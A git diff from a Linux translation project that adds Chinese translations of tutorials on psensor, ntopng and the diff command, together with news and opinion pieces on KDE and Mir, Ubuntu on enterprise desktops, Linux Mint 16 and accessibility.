+通过文件管理接口来查看和修改本地文件,但是这需要浏览器有相关的java插件。 + +[![](http://farm6.staticflickr.com/5544/10937531975_368196fd03_z.jpg)][10] + +通过改变Webmin的相关配置,你可以控制管理 IP 地址,添加/删除 Webmin 功能模块,开启双因子认证来使用安全登录功能,或者创建证书验证等。 + +[![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][11] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/manage-linux-server-gui.html + +译者:[thinkinglk](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.webmin.com/ +[2]:http://www.ispconfig.org/ +[3]:http://www.zentyal.org/ +[4]:http://www.flickr.com/photos/xmodulo/10937800943/ +[5]:http://www.flickr.com/photos/xmodulo/10937589506/ +[6]:http://www.flickr.com/photos/xmodulo/10937589676/ +[7]:http://www.flickr.com/photos/xmodulo/10937801173/ +[8]:http://www.flickr.com/photos/xmodulo/10937531925/ +[9]:http://www.flickr.com/photos/xmodulo/10937589556/ +[10]:http://www.flickr.com/photos/xmodulo/10937531975/ +[11]:http://www.flickr.com/photos/xmodulo/10937532015/ +[12]:http://www.webmin.com/standard.html diff --git a/published/201311/How to monitor system temperature on Linux.md b/published/201311/How to monitor system temperature on Linux.md new file mode 100644 index 0000000000..94c6695a6b --- /dev/null +++ b/published/201311/How to monitor system temperature on Linux.md @@ -0,0 +1,111 @@ +如何在Linux下监控系统温度 +================================================================================ + +大多数情况下,你无需担心你的电脑温度。除非制造上的缺陷,否则硬件设计一般不会使其超过最高工作温度。但即使没有任何硬件故障,各种各样的软件问题也会导致硬件过热,例如,显卡驱动的严重bug,风扇控制程序的错误配置,CPU调频守护进程的故障,等等。 + +严重的过热可能会对硬件造成永久性的伤害,所以应当时刻小心系统上的任何过热问题。因此,如果有合适的温度监控系统,能在系统温度突然急速上升时,第一时间向用户发出警报,岂不美哉? + +本教程,我将描述**如何在Linux下监控系统温度**。 + +在Linux下有许多用户级工具可以检查和监控各种系统组件的温度。 + +例如[lm-sensors][1],它可以从硬件嵌入式传感器获取信息,以达到监测温度、电压、湿度和风扇的作用;还有[hddtemp][2],它可以通过读取[S.M.A.R.T.][3]参数来测量温度;今天我们要介绍的是[psensor][4],这是一款前端图形化界面温度监测工具,能够可视化显示CPU、Nvidia/ATI/AMD各家显卡以及硬盘等多个硬件设备的温度。 + +接下来,我将描述如何设置psensor来监控CPUs和硬盘的温度。 + +### 在Linux 桌面系统中安装 psensor### + +使用psensor可视化显示系统温度,需要基于其他工具诸如lm-sensors和hddtemp等获得的数据。因此你需要在安装psensor的同时,一并安装这两款工具。 + +在Debian或Ubuntu下安装psensor: + + $ sudo apt-get install lm-sensors hddtemp psensor + +在Ubuntu下还可以通过PPA仓库安装最新版本的psensor: + + $ sudo add-apt-repository ppa:jfi/ppa + $ sudo apt-get update + $ sudo apt-get install lm-sensors hddtemp psensor + +在Fedora下安装psensor: + + $ sudo yum install lm_sensors hddtemp + $ sudo yum install gcc gtk3-devel GConf2-devel lm_sensors-devel cppcheck libatasmart-devel libcurl-devel json-c-devel libmicrohttpd-devel help2man libnotify-devel libgtop2-devel make + $ wget http://wpitchoune.net/psensor/files/psensor-0.8.0.3.tar.gz + $ tar xvfvz psensor-0.8.0.3.tar.gz + $ cd psensor-0.8.0.3 + $ ./configure + $ make + $ sudo make install + +这里注意,由于需要GTK3库的支持,psensor无法与搭载GNOME2桌面的CentOs或RHEL 6兼容。 + +### 在Linux中配置 psensor ### + +在启动 psensor之前,你需要先配置lm_sensors和hddtemp。 + +#### lm_sensors 配置 #### + +运行以下命令,配置lm_sensors,每一项都选择YES。 + + $ sudo sensors-detect + +这个命令将会探查和检测你硬件中嵌入的传感器(包括CPUs、储存控制器、I/O芯片),然后自动决定系统中哪个驱动模块需要载入并监测其温度。 + +一旦传感器检测完成,你需要把检测到的驱动模块添加到/etc配置中,这样它们才可以在开机时自动加载。 + +![img](http://farm6.staticflickr.com/5476/10719567256_029533a588_z.jpg) + +在Debian或Ubuntu下,检测到的驱动模块将会被添加到/etc/modules。在Fedora下,驱动信息会添加到/etc/sysconfig/lm_sersors。 + +接下来,继续加载必要的模块,如下: + +Ubuntu: + + $ sudo service module-init-tools start + +Debian: + + $ sudo /etc/init.d/kmod start + +Fedora + + $ sudo service lm_sensors start + +#### hddtemp 配置 #### + +你还需要启动hddtemp,监控硬盘驱动器的温度。 + +运行下列命令,作为一个守护进程启动hddtemp。记得把“/dev/sda”替换成你系统上的硬盘驱动器。 + + $ sudo hddtemp -d /dev/sda + +### 用 psensor 监控系统温度 ### + +要启动psensor监测温度,只需简单运行: + + $ psensor + +psensor窗口将显示一个可用的传感器列表,并将传感器中读出的温度可视化显示出来。你可以选择性地启用或禁用任意一个传感器。 + +[![](http://farm8.staticflickr.com/7448/10719475225_f89b6f7191_z.jpg)][5] + +另外,你可以为每个传感器设置警报级别,这样当传感器温度超过某一阈值时,你就能得到通知了。 + +![img](http://farm6.staticflickr.com/5534/10719755343_ba143454af_z.jpg) + +psensor默认使用的温度单位是“摄氏度”,最新的版本(0.7-0.8)支持在摄氏与华氏之间转换温度单位,如果你用的版本比较旧(例如0.6.x)并且不支持温度单位转换,Ubuntu用户可以通过PPA仓库来安装最新版的psensor,Debian用户则可以通过源代码来安装。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/monitor-system-temperature-linux.html + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lm-sensors.org/ +[2]:http://www.guzu.net/linux/hddtemp.php +[3]:http://en.wikipedia.org/wiki/S.M.A.R.T. +[4]:http://wpitchoune.net/blog/psensor/ +[5]:http://www.flickr.com/photos/xmodulo/10719475225/ diff --git a/published/201311/How to set up web-based network traffic monitoring system on Linux.md b/published/201311/How to set up web-based network traffic monitoring system on Linux.md new file mode 100644 index 0000000000..a4acac86c4 --- /dev/null +++ b/published/201311/How to set up web-based network traffic monitoring system on Linux.md @@ -0,0 +1,128 @@ +如何在Linux上配置基于Web的网络流量监控系统 +================================================================================ +当你在本地网络监控网络流量,根据流量大小、监控平台/接口、数据库类型等等,可以有许多不同的选择。 + +[ntopng][1]是一套开源(遵循GPLv3协议)网络流量分析解决方案,提供基于web界面的实时网络流量监控。支持跨平台,包括Linux和MacOS X。ntopng类似于RMON远端网络监控代理,具有内置的Web服务能力,使用[Redis][2]键值服务按时间序列存储统计信息。你可以在任何指定的监控服务器上安装ntopng,只需使用任一web浏览器,就能实时访问服务器上的流量报告了。 + +本教程就来介绍**如何使用ntopng在Linux上配置基于Web的网络流量监控系统** + +###ntopng的特性### + +- 从数据流级别与协议级别对本地网络流量进行实时分析 +- 支持域、AS(自制系统)与VLAN级别的统计分析 +- 支持IP地址地理定位 +- 支持基于“服务探索”(例如Google、Facebook)的深度报文检测(DPI) +- 历史流量分析(例如分别按照小时、日、周、月、年进行分析) +- 支持sFlow、NetFlow(v5/v9版)以及基于nProbe的IPFIX +- 网络流量矩阵(谁正在和谁谈话?) +- 支持IPv6 + +###在Linux上安装ntopng + +官方网页上提供了针对[Ubuntu][3]和[CentOS][4]的二进制安装包。如果你使用的恰好是以上二者其一,并且懒得用源码安装,可以直接到官网下载二进制文件包安装,并忽略这一小节下面的内容。 + +如果你想通过[源码][5]安装最新的ntopng,请继续往下看 + +如果你是Debian、Ubuntu或Linux Mint,执行以下命令: + + $ sudo apt-get install libpcap-dev libglib2.0-dev libgeoip-dev redis-server wget + $ tar xzf ntopng-1.0.tar.gz + $ cd ntopng-1.0/ + $ ./configure + $ make geoip + $ make + +上面的几个步骤中,“make geoip”将会自动通过wget从maxmind.com下载一个免费版的GeoIP数据库,因此,这里最好确保你的系统能联网。 + +如果你是Fedora: + + $ sudo yum install libpcap-devel glib2-devel GeoIP-devel + libxml2-devel redis wget + $ tar xzf ntopng-1.0.tar.gz + $ cd ntopng-1.0/ + $ ./configure + $ make geoip + $ make + +如果你是CentOS或RHEL,首先[设置EPEL repository][6],然后再执行上面和[Fedora][7]一样的命令就可以。 + +###在Linux上配置ntopng### + +ntopng安装完毕之后,接下来,新建一个ntopng配置目录,然后按照下列命令准备默认的配置文件。这里我假设你的本地网络地址为C类“192.168.1.0/24”。 + + $ sudo mkir /etc/ntopng -p + + $ sudo -e /etc/ntopng/ntopng.start + +修改如下: + +> --local-networks "192.168.1.0/24" +> +> --interface 1 + + $ sudo -e /etc/ntopng/ntopng.conf + +修改如下: + +> -G=/var/run/ntopng.pid + +在运行ntopng之前,要确认先启动redis,刚才不说了,redis为ntopng提供键值存储嘛~ + +在Debian、Ubuntu和Linux Mint上,这样启动: + + $ sudo /etc/init.d/redis-server restart + $ sudo ./ntopng + +在Fedora、CentOS和RHEL上,这样启动: + + $ sudo service redis restart + $ sudo ./ntopng + +ntopng默认监听TCP的3000端口,使用下列命令加以确认。 + + $ sudo netstat -nap|grep ntopng + tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 29566/ntopng + +###基于Web界面的网络流量监控### + +一旦ntopng成功运行,就可以打开浏览器,访问地址http://<你的主机IP地址>:3000 + +这时,你会看到ntopng的登录界面。使用默认帐密:“admin/admin”。 + +下面是一些截图。 + +**top流的实时可视化图像** + +[![](http://farm4.staticflickr.com/3830/10487165303_8bf0b25668_z.jpg)][8] + +**top主机的实时统计,包括top协议和top AS数量** + +[![](http://farm3.staticflickr.com/2886/10486988416_7c8770e823_z.jpg)][9] + +**基于DPI的自动程序/服务探索生成的的实时数据报告** + +[![](http://farm6.staticflickr.com/5500/10486988386_641608ecac_z.jpg)][10] + +**历史流量数据分析** + +[![](http://farm8.staticflickr.com/7379/10486995114_f0b58243a8_z.jpg)][11] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/10/set-web-based-network-traffic-monitoring-linux.html + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.ntop.org/products/ntop/ +[2]:http://redis.io/ +[3]:http://apt.ntop.org/ +[4]:http://rpm.ntop.org/ +[5]:http://sourceforge.net/projects/ntop/files/ntopng/ +[6]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html +[7]:http://xmodulo.com/go/fedora_guide +[8]:http://www.flickr.com/photos/xmodulo/10487165303/ +[9]:http://www.flickr.com/photos/xmodulo/10486988416/ +[10]:http://www.flickr.com/photos/xmodulo/10486988386/ +[11]:http://www.flickr.com/photos/xmodulo/10486995114/ \ No newline at end of file diff --git a/published/Install Apache With SSL in Ubuntu 13.10.md b/published/201311/Install Apache With SSL in Ubuntu 13.10.md similarity index 100% rename from published/Install Apache With SSL in Ubuntu 13.10.md rename to published/201311/Install Apache With SSL in Ubuntu 13.10.md diff --git a/published/Install Ubuntu 13.10 Server Step by Step.md b/published/201311/Install Ubuntu 13.10 Server Step by Step.md similarity index 100% rename from published/Install Ubuntu 13.10 Server Step by Step.md rename to published/201311/Install Ubuntu 13.10 Server Step by Step.md diff --git a/published/Install qBittorrent 3.1.0 in Ubuntu via PPA.md b/published/201311/Install qBittorrent 3.1.0 in Ubuntu via PPA.md similarity index 100% rename from published/Install qBittorrent 3.1.0 in Ubuntu via PPA.md rename to published/201311/Install qBittorrent 3.1.0 in Ubuntu via PPA.md diff --git a/published/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md b/published/201311/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md similarity index 100% rename from published/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md rename to published/201311/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md diff --git a/published/201311/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md b/published/201311/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md new file mode 100644 index 0000000000..ccc6e77302 --- /dev/null +++ b/published/201311/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md @@ -0,0 +1,34 @@ +KDE和Canonical的关于Mir的冲突最终爆发了 +================================================================================ + +KDE开发者和Canonical之间酝酿的冲突在一连串Mir显示服务器所造成的问题后最终爆发了。 + +KDE与Canonical,尤其是Mark Shuttleworth,有很深的交情。曾几何时,在2006年,Mark Shuttleworth是第一个赞助KDE的人,人们总会像这样谈论这件事: + +“我毫不怀疑当你看到KDE4所带来的巨大潜能时,你会知道你今天所做的是正确的。你是个真正有远见的人。这个世界需要更多的像你一样的人。”一位KDE社区成员所述。 + +而在七年之后,Canonical宣布了一款新的显示服务器Mir,而KDE、Kubuntu和Canonical社区的所有东西已经被丢到窗外。 + +[一篇由Mark Shuttleworth写的文章][1]最终成为了战争的导火索,其中写道,他将所有批判Mir显示服务器的人归类到一个虚拟的“茶派”,在他看来这就是派系的而已。有很多人,尤其是几个高级KDE开发者,他们批判Mir,他们在一开始就反对Mir。 + +KDE Plasma的开发者兼KDE组织主席,亚伦·塞戈,就这个问题向Mark Shuttleworth发起抗议。而[Canonical的创始人没有理睬][2]他的要求,这引起了一系列反应. + +第二个反应来自一位Kwin的开发者和维护者,Martin Gräßlin,他说这基本上[可以跟Ubuntu社区说Goodbye了][3]。在他的Google+上跟Ubuntu社区经理Jono Bacon的对话已经占满了所有回帖. + +“开源总是个很火爆的话题。有时候讨论时会带点粗鲁和不敬。难点是每个人对于粗鲁和无礼的定义是有区别的。就像,每个人对于好和坏行为评定是不同的” Jono Bacon在他帖子所述. + +他对于Martin Gräßlin的决定表示遗憾,但他也指出了Ubuntu的行为准则2.0,被打破了很多次已经很难计数了。 + +按照现在的情况,KDE绝不会采用Mir,Kubuntu可能带有配件,也许Ubuntu风光的日子已经时日不多。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/KDE-and-Canonical-Conflict-Over-Mir-Finally-Bursts-into-Open-396651.shtml + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml +[2]:http://news.softpedia.com/news/KDE-Developer-and-President-of-KDE-e-v-Upset-Because-Mark-Shuttleworth-Is-Ignoring-Him-396623.shtml +[3]:http://news.softpedia.com/news/Major-KDE-Developer-Says-Goodbye-to-Ubuntu-396429.shtml diff --git a/published/201311/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md b/published/201311/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md new file mode 100644 index 0000000000..7a29173dd7 --- /dev/null +++ b/published/201311/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md @@ -0,0 +1,38 @@ +Linux企业级桌面版:Ubuntu Vs Windows +================================================================================ + +过去的10年中,Linux的众多支持者几乎每年都预言当年会是“linux桌面版之年”。对微软主导的企业来说,这曾经是一个崇高的目标,但时代在变。在智能手机和云计算市场领域,Linux已经发展壮大成为一个顽强的竞争对手,打了微软一个措手不及。更重要的是,Google,IBM,Red Hat,Facebook, 还有Netflix等公司正在对linux的研发创新投入巨资。 + +现在, 随着技术预算缩水,微软授权费上涨,IT界是时候应该认真考虑一下了,部署桌面版Linux,替代Windows。这是个最佳时机,Windows 8.1刚发布,Ubuntu 13.10也同时发布。对Windows XP的支持也只剩下5个月时间。IT公司需要切换到新的环境。Ubuntu利用企业的需求来支持他们桌面版操作系统的需求。我研究了几个促成向桌面版linux转换的因素,包括培训和支持,还有一些潜在的复杂性问题。 + +我知道Ubuntu已经失去了它曾经在开源社区享有的青睐。Canonical,Ubuntu的开创者,做出了几个不受欢迎的决策,包括改变屏幕管理器(linux图形界面的基本组件),用内部开发的Mir替换掉Wayland。然而,Ubuntu仍然是完全开源的,并提供任何Linux发行版甚至Windows版本的软件,安装起来最为省事。Canonical还提供付费支持,这可能是企业级环境所需要的。 + +一直存在这样的争论,如果切换到一个新的桌面的话,最终用户需要再培训。微软做出了争议性决策,针对Windows 8.1,对熟悉的界面全面整改,这种举措造成的影响就是,比转向linux需要更多的培训。 Ubuntu Unity 桌面已经演变为用户友好的界面,比之Windows 8.1,更易于被终端用户所理解。 + +例如,比较一下用户在各个操作系统中关闭系统的方式。所有最近的Ubuntu版本,关闭系统只需点击一下屏幕右上角打开-关闭的图标。Windows 8.1则需要右击开始按钮,然后出现一个下拉菜单,从中找到关闭电源的选项。相较于Windows 8,这是个巨大的进步。Windows 8还得费劲去找相关的入口。总不如屏幕上只需一个图标来得直接。 + +多亏了许多流行的开源应用的Windows版本,对使用这些应用软件的终端用户的培训过也不是什么复杂的任务。用户已经熟悉了Windows上的Firefox, LibreOffice, Pidgin, 以及VLC媒体播放器。用于商业的应用,比如Skype和Adobe Acrobat,功能实现跟Windows上的基本相同。基于云的应用,比如Google Drive 和 Microsoft Office 365,在Ubuntu上都可以正常使用。 + +传统的Windows应用程序可以通过熟悉的Citrix或者开源RDP的客户端来使用。公司也可以使用开源的虚拟产品,比如VirtualBox,运行一些顽固的老掉牙的Windows应用。 + +在最新硬件的支持上,许多技术人员还记得,在Linux刚刚起步的那些时日,硬件支持极其有限。如今形势已经转变了。 + +如今对Linux的硬件支持通常比对最新的Windows版本的支持还要理想。许多硬件供应商已经放弃了对Windows新版本的驱动支持。Linux下的硬件驱动可以由开源社区的任何一个人维护更新,因此许多支持许多旧的硬件在最新版Ubuntu中得到了完全的支持。有基于此,再加上Ubuntu较低的系统需求,公司可以延长都已经进了回收站的硬件的使用寿命。 + +虽然Linux的桌面替代品存在它的优势,但是企业也应该考虑到一些潜在的困难。尽管许多技术人员正在使用linux,也为学习新的技术而欢欣鼓舞,但是仍有一部分技术人员用Windows进行开发工作很长时间了,已经习惯了,再去拥抱新的变化,对他们来说,或许不是那么得情愿。 + +援引薪酬增长的趋势是一个解决潜在的问题的办法。相比于其他专业技术人员,要求Linux技能的职位薪酬上涨近一倍的速度,这是来自Dice的说法。 + +对严格遵守合规性的公司来说,切换到Linux可能会遇到困难。例如,HIPAA要求加密,以满足FIPS-140-2的要求。大多数开源加密项目没有赞助商帮助他们通过NIST认证以满足这一要求。开源代码实际上可能因为有许多人已审查,会比专有软件更安全,但令人惊讶的是,在合规性的世界中,这一点无关紧要。 + +在决定全面迁移之前,企业需要了解他们的规则要求,并制定一个计划,培训IT人员。但总体而言,相比于企业级私有操作系统,作为一个切实可行的选择,Ubuntu Linux已然成熟。考虑到版权费用的花销,公司在Linux桌面替换项目中的投入是值得的。下一年或许就是“linux桌面版之年”。 + +> 本文作者Joseph Granneman拥有超过20年的技术经验,主要专注于医疗信息技术。他伊利诺伊州罗克福德骨科协会的CIO,医疗保健信息技术和信息安全领域一个活跃的独立作家、主持人和教授。Granneman一直活跃在许多的组织群体,包括发展健康信息交换的早期框架,该框架是伊利诺斯州的保健信息安全和隐私安全工作组的一部分。他也是健康信息技术认证委员会(CCHIT)安全工作组的一名志愿者,该工作组负责制定ARRA认证的电子病历信息安全标准。 + +-------------------------------------------------------------------------------- + +via: http://www.networkcomputing.com/data-networking-management/linux-desktop-in-the-enterprise-ubuntu-v/240163564 + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201311/Linux Mint 16 “Petra” Cinnamon RC Has Been Released!.md b/published/201311/Linux Mint 16 “Petra” Cinnamon RC Has Been Released!.md new file mode 100644 index 0000000000..b895cdf7bb --- /dev/null +++ b/published/201311/Linux Mint 16 “Petra” Cinnamon RC Has Been Released!.md @@ -0,0 +1,59 @@ +快来尝尝肉桂新口味儿,Mint 16现已加入肯德基豪华午餐~ +================================================================================ + +经过6个月艰苦卓绝的开发工作,Linux Mint开发组终于发布了更加稳定可靠的[Linux Mint 16,版本代号Petra 肉桂版(Cinnamon Edition)][1]。此次发布的Linux Mint包括了软件升级、新增功能以及多个bug修复。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/linux_mint16.png) + +这一版本是项目组努力工作6个月的辛勤果实,它为我们带来了2种独特“口味儿”,**肉桂(Cinnamon)**及其**伴侣(MATE)**,但具体新功能都有哪些呢? + +根据官方发布的声明,下面列出了Linux Mint 16 Petra Cinnamon版本的新功能: + +- Cinnamon升级至2.0版 +- 全新的登录界面 +- 支持USB记忆棒 +- 系统性能提升 +- 全新的软件管理器 +- 系统更加完善 +- UI美工更加漂亮 +- 主要组件得到优化 + +### Cinnamon 2.0 ### + +肉桂2.0带来诸多改进,修复了多个bug,加入许多新功能。首先,关闭窗口、切换工作台等日常操作加入了声音效果,同时,用户可以独立于主音量之外,单独对这些声音进行设置,另外,2.0版还加入了一个新面板,大大方便了session会话和账户关联任务等操作。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/thumb_cinnamon_account_details.png) + +###账户细节### + +系统管理员可以通过“用户与组”配置工具,对用户和组进行管理,你还可以使用新的“账户细节”配置界面对密码等信息进行修改。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/thumb_cinnamon_user_applet.png) + +###软件管理器### + +“快”!这是用来描述新版Linux Mint软件管理器最合适的字眼。每个人都欣喜地看到,如今的软件管理器不但比以前占用更少的内存,而且支持多个截图预览, **搜索**更加迅捷,**启动**更加快速。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/software_manager1.png) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/software_manager2-e1384689990357.png) + +###系统更加完善### + +你会在你的Linux Mint上使用“终端”来完成日常工作吗?当然!作为**程序猿(媛)**,这样才显得很高端大气上档次。这次的Linux Mint 16 Petra 肉桂版,将为你带来比以往更好的终端体验。举个栗子,新的终端使用“ll”命令作为“ls -al”的别名命令,如此一来,有了省时又省力的“ll”,谁还会去敲“ls -al”?(译注:难道ll还不是业界标准么?) + +除了程序猿(媛),Linux Mint 16 Petra 肉桂版同样还惦记着我们广大亲爱的**游戏玩家**!肉桂君现在能够更好的支持Steam,不仅如此,肉桂君还默认将steam加入了软件容器和软件管理器的特色板块! + +**宅男** 们可能比较关心,**隐私策略**做的怎么样呢?Linux Mint 16为广大宅男同胞们提供了额外的隐私/安全搜索引擎,机油再也不用担心我找不到苍老师~ + +更好的帮助支持、更安全的内核更新、更快的启动速度和登录速度…… 哎对了,果粉们怎么办?果粉?是的,这里说的就是各位**苹果**的忠(Nao)实(Can)粉丝们。虽然我们是Linuxer,但是分享与关爱是我们Linuxer与生俱来的传统美德。因此,Linux Mint 16现已加入对iOS设备的支持,众位果粉这下高兴了吧。不客气~ + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linux-mint-16-petra-cinnamon-rc-released/ + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://blog.linuxmint.com/?p=2477 diff --git a/published/Linux Commands/Linux Pmap Command – Find How Much Memory Process Use.md b/published/201311/Linux Pmap Command – Find How Much Memory Process Use.md similarity index 100% rename from published/Linux Commands/Linux Pmap Command – Find How Much Memory Process Use.md rename to published/201311/Linux Pmap Command – Find How Much Memory Process Use.md diff --git a/published/201311/Linux diff Command Explained With Examples.md b/published/201311/Linux diff Command Explained With Examples.md new file mode 100644 index 0000000000..3d856e5569 --- /dev/null +++ b/published/201311/Linux diff Command Explained With Examples.md @@ -0,0 +1,174 @@ +举例说明Linux diff 命令 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/linux-diff-command.png) + +在比较文件的时候,通常会用基于GUI的软件。很少有人真正会为了这个目的使用命令行工具。虽然说使用命令行来比较文件/目录并不像一件小事儿那样容易,但是如果你是一个Linux使用者,那么我想你应该知道如何通过命令行比较文件,因为一旦使用了它,你会认为它绝对是一个快速的方法。 + +在本篇中,我们将通过一些实例来学习如何使用diff命令。 + +### Linux diff 命令 ### + +让我们通过一些实际的例子理解diff命令。 + +假设我们有两个文件(file1 和 file2): + + $ cat file1 + Hi, + Hello, + How are you? + I am fine, + Thank you. + + + $ cat file2 + Hello, + Hi, + How are you? + I am fine. + +你可以看见两个文件有些小的不同。现在,让我们看看diff命令如何找出两者的不同的。 + +像这样运行diff命令: + + $ diff file1 file2 + 1d0 + < Hi, + 2a2 + > Hi, + 4,5c4 + < I am fine, + < Thank you. + --- + > I am fine. + +你可以看见diff后面跟了两个文件的名字作为命令行的参数,并且它在输出中生成了差异比较。输出并不容易理解。理由是,这是被计算机使用的而不是为了人类。尽管如此,让我们一步步解码输出: + +**注意** – 在下面的文本中,file1和file2将被当作旧文件和新文件。 + + 1d0 + < Hi, + +这里,1d0这一行意味着旧文件的第一行应该被删除(d)以使两个文件的第一行同步。旧文件中需要被删除的行以'<'标记。 + + 2a2 + > Hi, + +这里,2a2行意味着新文件中的第二行应该加到旧文件的第二行后。要添加的行显示在输出的下一行用'>'标记。 + + 4,5c4 + < I am fine, + < Thank you. + --- + > I am fine. + +这里,4,5c4这一行意味着在旧文件中的4到5行现在已被改变并且需要用新文件中的第4行代替。添加和删除的行分别用'>'和'<'表示。 + +那么,来总结一下, + +- 首先diff命令的第一个参数被视为旧文件而第二个参数被视为新文件。 +- 像1d0、2a2、4,5c4这种表达式可以用语法解码为 **[旧文件的行号或者行的范围][行为][新文件的行号或者行的范围]**。这里的'行为'可以是追加,删除或者改变替换。 +- '<'代表删除的行,而'>'代表添加的行。 + +除了文件外,diff命令还可以比较两个目录。让我们通过一个例子学习。 + +这里是'new_dir'目录包含的内容: + + $ ls new_dir/ + file file2 frnd frnd1.cpp log1.txt log3.txt log5.txt + file1 file name with spaces frnd1 frnd.cpp log2.txt log4.txt + +这是'orig_dir'目录含有的内容:(译注:原文为and here are the contents of a directory named ‘old_dir’ ,其中'old_dir'应为笔误。) + + $ ls orig_dir/ + file1 file name with spaces frnd1 frnd.cpp log2.txt log4.txt test + file2 frnd frnd1.cpp log1.txt log3.txt log5.txt + +下面是diff命令执行后的输出: + + $ diff new_dir/ orig_dir/ + Only in new_dir/: file + Only in orig_dir/: test + +你可以看到当diff命令被用来比较这两个目录时,很容易就会显示两个文件中缺失的文件。 + +下面是一些在命令行下常用的选项: + +### 1. 用 -i 忽略大小写 ### + +如果两个文件含有相同的文本但是大小写不同,diff命令仍会默认报告它不同。 + +比如: + + $ cat file1 + HI + + $ cat file2 + hi + + $ diff file1 file2 + 1c1 + < HI + --- + > hi + +你可以看见diff命令在输出中报告了大小写不同。 + +要去除这个默认行为,使用-i选项。 + +以下是个例子: + + $ diff -i file1 file2 + $ + +这样你可以看到没有生成输出,这是当两个文件相同时的默认行为。 + +### 2. 用 -s 选项报告两个文件相同 ### + +在例子1的后面,我们看到如果文件相同diff不会生成报告。虽然这个默认行为不错但是它仍可能会造成很大疑惑,特别对于新手而言。因此,如果你像样diff命令明确地报告两个文件不同,那么就使用-s命令选项。 + +来举个例子: + + $ diff -is file1 file2 + Files file1 and file2 are identical + +你可以看到我加了-s选项在后面的例子中,这次diff命令会明确地报告两个文件是相同的。 + +### 3. 使用 -b 忽略空格 ### + +另外一个常用的是diff报告文件存在不同数量的空格。 + + +举例说明: + + $ cat file1 + Hi, how are you? + + $ cat file2 + Hi, how are you? + +观察这两个文件唯一的不同是file2中'are'和'you'之间额外的空格。现在,当使用diff命令比较两个文件时,输出如下: + + $ diff file1 file2 + 1c1 + < Hi, how are you? + --- + > Hi, how are you? + +因此你可以看到diff命令报告了不同。但是如果你想要忽略这些空格,使用 -b 选项。 + + $ diff -b file1 file2 + $ + +这样你可以看到由于-b选项,diff命令报告这两个文件是相同的。 + +diff命令还提供了更多的命令行选项。阅读[man page][1]来获取完整的列表。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-diff-command-examples/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://unixhelp.ed.ac.uk/CGI/man-cgi?diff diff --git a/published/Linux's First Space Opera Game“The Mandate”Gets a Fabulous Trailer.md b/published/201311/Linux's First Space Opera Game“The Mandate”Gets a Fabulous Trailer.md similarity index 100% rename from published/Linux's First Space Opera Game“The Mandate”Gets a Fabulous Trailer.md rename to published/201311/Linux's First Space Opera Game“The Mandate”Gets a Fabulous Trailer.md diff --git a/published/201311/Making Linux More Accessible.md b/published/201311/Making Linux More Accessible.md new file mode 100644 index 0000000000..19611b69eb --- /dev/null +++ b/published/201311/Making Linux More Accessible.md @@ -0,0 +1,40 @@ +让Linux更加可用(Accessibility) +================================================================================ +一个令人吃惊的事实是,至少十亿人或多或少有着某种程度的残疾。就是说全球大约15%的人在生理上、感知上、心智上会有缺陷,导致他们难以活动、观看、收听以及学习。世界上3.5亿人有不同程度的视觉障碍。计算机技术发展地越快,这些人就越会被疏远,除非计算机软件的开发可以满足他们的需求。 + +可用性是表示一个产品、设备、服务或者环境在不考虑具体细节的情况下能被多少人使用的程度。可用性可以被看作接触和利用一个系统或者实体的能力。可用性至关重要,社会和谐不是一个慈善行动,而是人类基本的权利。 + 